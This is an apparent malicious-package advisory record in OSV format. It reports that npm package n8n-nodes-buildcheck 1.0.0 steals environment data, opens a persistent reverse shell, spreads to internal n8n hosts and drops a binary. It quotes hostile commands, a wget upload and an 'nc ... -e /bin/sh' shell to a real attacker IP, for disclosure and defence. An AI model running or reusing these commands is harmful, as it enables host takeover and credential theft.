n8n-nodes-buildcheck

{"modified":"2026-09-15T15:53:20Z","published":"2026-09-15T15:53:20Z","schema_version":"1.7.4","id":"MAL-2026-16177","summary":"Malicious code in n8n-nodes-buildcheck (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc)\nOn npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.\n","affected":[{"package":{"ecosystem":"npm","name":"n8n-nodes-buildcheck"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"postinstall.js","sha256":"b7b332857fc57f8b67de49330068e4bba420ec507f9ca946a4189f5ce37d2629","tlsh":"2b31c6b47e4544656b89aeb8384e91164e0b980275438df0d4de2def58cf2cef22d8e0"},{"path":"dist/SysDiag.node.js","sha256":"ac8bff6109bfb7d77256011f6181f53d9cda5d00dcc3351eaf457155b42ed472","tlsh":"59f07df0bdbcd5522045c8a47b58914624abc7239839f862758e56291f0e50ce7b2bf4"}],"package_integrity":[{"filename":"n8n-nodes-buildcheck-1.0.0.tgz","hashes":{"sha1":"1187dd96a3738e829292a774e610b034ccb8ba37","sha512_sri":"sha512-EgoXMliM+pH7HoKR/rcWoNZeUeP/7Y1JgH00WnIFNgxxzwfghTa5hxISyTw3Xh01jCiNbp1FB4DIoOoPgrXiHw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-buildcheck/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020050","import_time":"2026-09-15T16:19:14.271998295Z","modified_time":"2026-09-15T15:53:20Z","sha256":"65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc","source":"amazon-inspector","versions":["1.0.0"]}]}}